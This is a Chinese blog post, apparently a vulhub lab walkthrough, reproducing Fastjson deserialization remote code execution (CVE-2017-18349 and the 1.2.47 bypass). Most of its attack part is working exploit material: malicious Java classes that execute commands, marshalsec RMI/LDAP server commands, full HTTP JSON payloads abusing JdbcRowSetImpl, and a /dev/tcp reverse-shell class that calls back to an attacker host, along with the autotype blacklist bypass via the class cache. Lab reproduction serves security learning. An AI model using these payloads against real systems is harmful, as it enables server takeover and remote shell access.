原文链接:https://blog.csdn.net/Curry197/article/details/125090159
Fastjson反序列化漏洞
Curry197
已于 2022-06-01 21:22:57 修改 2786
收藏 2
分类专栏: 漏洞复现 文章标签: 安全 web安全 网络
版权
漏洞复现 专栏收录该内容
2 篇文章 0 订阅
订阅专栏
参考链接:fastjson 1.2.24 反序列化 RCE 漏洞复现(CVE-2017-18349)_GeekCoderBrick的博客-CSDN博客_fastjson反序列化漏洞cve
浅谈Fastjson RCE漏洞的绕过史 - FreeBuf网络安全行业门户
fastjson 远程反序列化poc的构造和分析 | xxlegend
aututype:Fastjson AutoType_FLy_鹏程万里的博客-CSDN博客_autotype
利用链:一起来看看Fastjson的三种漏洞利用链_程序猿DD_的博客-CSDN博客
什么是fastjson?
Fastjson是一个JSON工具库 它的作用就是把java对象转换为json形式,也可以用来将json转换为java对象
序列化格式
序列化的格式是序列化这样子,注意看这里没有指定类名
{name=‘wuya’, age=66, flag=true, sex=‘boy’,address=‘null’}
反序列化
autotype
自省
漏洞原理
第一个是它的类,就是要反序列哪个类
他有两个属性,dataSourceName,autoCommit
fastjson反序列化一个类的时候,他会调用成员变量的set方法,所以首先会调用一个setdataSourceName的方法,其次会调用setautoCommit的方法,
setdataSourceName:
就是赋值,把rmi那个值赋给数据源
setautoCommit:
setautoCommi里有一个conec方法
lookup:JNDI用来查找资源的方法,可以查找LDAP,RMI,JDBC等资源
这里查找的就是刚刚赋的那个值
然后就连接到了RMI服务,而RMI是个指路人,于是就去其他地方下载了恶意代码,恶意代码的main方法就自动执行了
利用流程
常见利用链
漏洞挖掘
1.抓包的时候刚好看到它发送了json的数据
2.判断是不是fastjson(1.用一个非法格式,可能会报错,看报错信息 2.反序列化这个类,看平台能不能接收到数据)
GitHub里搜索fastjson插件,只要流量经过了bp,就能自动探测
漏洞修复:
为什么升级jdk可以
要的文件不在这个机器上面,在另一个机器上面,这种东西就不会下载,jdk把这个解决了就可以
漏洞复现:
fastjson 1.2.24 反序列化导致任意命令执行漏洞
靶机(vulhub)地址:192.168.30.130
kali 攻击机:192.168.30.225
使用com.sun.rowset.JdbcRowSetImpl的利用链,通过 JNDI 注入来执行命令
CVE-2017-18349fastjson 1.2.24 反序列化导致任意命令执行漏洞
启动靶场:
#切换到漏洞目录
cd ./vulhub-master/fastjson/1.2.24-rce
#启动靶场
docker-compose up -d
#关闭靶场
docker-compose down
#地址
192.168.30.130:8090
进入靶场:
(提供了一个接收我的字符去反序列化的接口)
//第一步
//编写恶意类
// 一
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
//二
public class Touchfile {
public Touchfile() {
try{
Runtime.getRuntime().exec("touch /tmp/fast-success.txt");
}catch(Exception e) {
e.printStackTrace();
}
}
public static void main(String[] argv) {
Touchfile e =new Touchfile();
}
}
将其复制到jdk目录下的bin文件,打开cmd(管理员权限,否则可能拒绝访问,如果放在c盘),执行
javac TouchFile.java
生成编译好的文件
Touchfile.class
//第二步
把恶意类放到网站上让别人下载
python -m http.server 8089
//python启动http服务
//第三步
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.
168.30.225:8089/#LinuxTouch" 9473
//第四步
利用burp发送数据包
python启动http服务
python -m http.server 8089
唯一的作用就是提供了一个恶意类的下载
(在当前目录下启动)
将恶意文件放入该文件夹,尝试下载,没问题,服务启动成功
实际上肯定不是本地ip,搞一个云vps服务器什么的,别人才能连过来
第三步
利用marshalsec工具(需要maven环境编译),或者直接下载marshalsec-0.0.3-SNAPSHOT-all.jar 链接: https://pan.baidu.com/s/1pDaDDKWD1VmTAmlnQMB-6Q?pwd=rv7u 提取码: rv7u
通过java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://宿主机ip:8888/#TouchFile 2335启动RMI服务器,监听2335 端口,并指定加载远程类 TouchFile.class
作用是一个指路人,如果有人要连接9473的端口的话,就会告诉它下载这个恶意类就行了
简单的帮我们启动一个LDAP或者RMI的服务,我们给他个参数,这里就和恶意类关联起来了,有人会来这里找个东西,就把恶意类的位置告诉它了
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.
168.30.225:8089/#LinuxTouch" 9473
第四步
利用burpsuite向kali虚拟机靶场发送payload,带上RMI地址,发送之后监听的两个端口都会冒泡,然后会执行恶意类代码在tmp下创建了一个文件
//用post方法访问了fastjson的8090的界面,它可以接收字符进行反序列化
POST / HTTP/1.1
Host: 192.168.30.130:8090
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/
20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,
image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;
q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 146
{
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://192.168.30.225:9473/LinuxTouch",
"autoCommit": true
}
}
@type 自省功能,给他什么类名就反序列化成什么类,这里是com.sun.rowset.JdbcRowSetImpl
反序列化的过程中,他会连接到已经启动的(rmi://192.168.142.132:9473)rmi的服务,他是个指路人,只要你连他,就会让你去8089端口下载恶意代码,下载之后恶意代码里的main方法就自动执行了
通过该漏洞拿shell
道理同上
1.创建shell.java,并用javac编译
nc -lvp 9001 监听端口,因为要建立反弹连接
import java.lang.Runtime;
import java.lang.Process;
public class shell{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","exec 5<>/dev/tcp/宿主机ip/19527;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
将marshalsec指定文件改成shell
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://宿主机ip:8888/#shell 2335
下载一个netcat,https://eternallybored.org/misc/netcat/,在本地监听19527端口。.\nc.exe -lvvp 19527
利用BurpSuite发送payload
POST / HTTP/1.1
Host: 192.168.132.128:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 163
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.31.41:2335/shell",
"autoCommit":true
}
}
4.shell成功反弹
中间版本:
自省功能被利用了,所以autotype被默认关闭了
做了个check autotype的机制,常见的利用类被加入了黑名单
但是黑名单可以绕过,中间版本的漏洞都是围绕黑名单的绕过
Fastjson 1.2.47 远程命令执行漏洞
步骤是一样的,数据包不同
POST / HTTP/1.1
Host: 192.168.142.128:8090
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101
Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/
webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 268
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.142.132:9473/LinuxRevers",
"autoCommit":true
}
}
com.sun.rowset.JdbcRowSetImpl在这个版本已经被加入黑名单了吗,为什么还能成功,奥秘就在于利用了
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
的缓存机制
在缓存里找这个类,找到了就拿这个类